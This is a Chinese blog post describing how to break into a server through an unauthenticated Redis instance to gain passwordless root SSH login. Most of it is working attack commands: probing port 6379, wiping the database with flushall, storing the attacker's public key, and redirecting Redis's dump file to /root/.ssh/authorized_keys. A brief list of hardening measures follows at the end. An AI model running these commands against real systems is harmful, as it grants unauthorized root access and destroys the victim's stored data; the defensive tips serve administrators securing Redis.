美文网首页
通过Redis入侵服务器实现免密登录

通过Redis入侵服务器实现免密登录

作者: 苦海飘摇 | 来源:发表于2021-04-14 18:10 被阅读0次

通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key(也就是密码)。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆

一、生成本地ssh公钥

ssh-keygen

二、检测可用redis并尝试连接

telnet 192.168.88.136 6379  # 可以批量测试找到可用host
redis-cli -h 192.168.88.136  # 若没密码就能登录成功

三、清一下redis数据库

redis-cli -h 192.168.88.136 flushall

四、向redis写自己的公钥

cat id_rsa.pub | redis-cli -h 192.168.88.136 -x set redis

五、利用redis写入到文件中

  • 连接redis
    redis-cli -h 192.168.88.136
  • 查看keys
    192.168.88.136>keys *
  • 写入配置库的路径及存放位置
    192.168.88.136>CONFIG SET dir /root/.ssh/
  • 写入配置库名称及存放的名字
    192.168.88.136>CONFIG SET dbfilename "authorized_keys"
  • 写入
    192.168.88.136>save
  • 退出
    192.168.88.136>exit

六、远程连接

ssh root@192.168.88.136

  • 注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件,以及redis可以默认的可以随意访问性的。

防止redis入侵服务器的措施:

1、不要对外开放redis,也就是不要使用公网ip启动redis
2、更改redis默认的端口(默认是6379)
3、给reids加密码,在启动的以后,我们必须通过密码认证后才能操作
4、给 authorized_keys 文件加上特殊权限(chattr +i authorized_keys),不让别人在里面写内容
5、也可以给/root/.ssh 这个目录加上特殊权限(chattr +i /root/.ssh),这样即使是root用户也不能够在里面写东西

备注:
如果给redis加了密码以后,我们在启动的时候可以这样 redis-cli -h 192.168.88.136 -p 端口 -a 密码,也可以通过先登陆后认证的方式,也就是redis-cli -h 192.168.88.136 -p 端口 ,认证auth 密码
关闭的时候也一样redis-cli -h 192.168.88.136 -p 端口 -a 密码 shutdown

相关文章

  • 通过Redis入侵服务器实现免密登录

    通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key(也就是密码)。然后通过向...

  • SSH免密登录一步搞定

    SSH免密登录 服务器A实现免密登录服务器B。(基于Linux服务器) 实现过程 一、服务器A公钥的生成 服务器A...

  • ssh免密登录及ssh防过期

    我们通常通过ssh登录服务器时需要输入密码验证,多次输入会觉得繁琐,可以通过简单配置实现ssh免密登录。最终效果:...

  • ssh免密登录配置

    终端通过服务器别名来进行登录免密登录 vim ~/.ssh/config HostName 指定登录的主机名或...

  • SSH免密登录

    免密登录的原理 首先免密登录要从SSH的流程说起,最常见的是密码登录,流程如下 免密登录要实现的是客户端向服务端发...

  • 在Mac上使用ssh-key免密码登录服务器

    从很早之前开始,在搭建测试服务器的时候,就不停的谷歌怎么免密登录服务器,每次配置好免密登录后,到搭建新的服务器时,...

  • Golang sftp 实现,并发拷贝文件

    本人通过ssh公钥、私钥先实现可以通过ssh登录到目标机器 注意这里是免密登录 然后通过指定公钥的方式,实现gol...

  • 免密登录Linux

    免密登录Linux 将SSH公钥上传到Linux服务器,

  • ssh 免密登录远程服务器

    用的是mac系统,终端用的是iterm2,免密登录实际上使用的是ssh的公钥放到目标服务器上,用户可以通过私钥免密...

  • Centos7 初步操作指南

    Centos7 配置秘钥实现集群免密登录 设备:MacBook Pro、多台Centos7.4服务器(已开启ss...

网友评论

      本文标题:通过Redis入侵服务器实现免密登录

      本文链接:https://www.haomeiwen.com/subject/aodllltx.html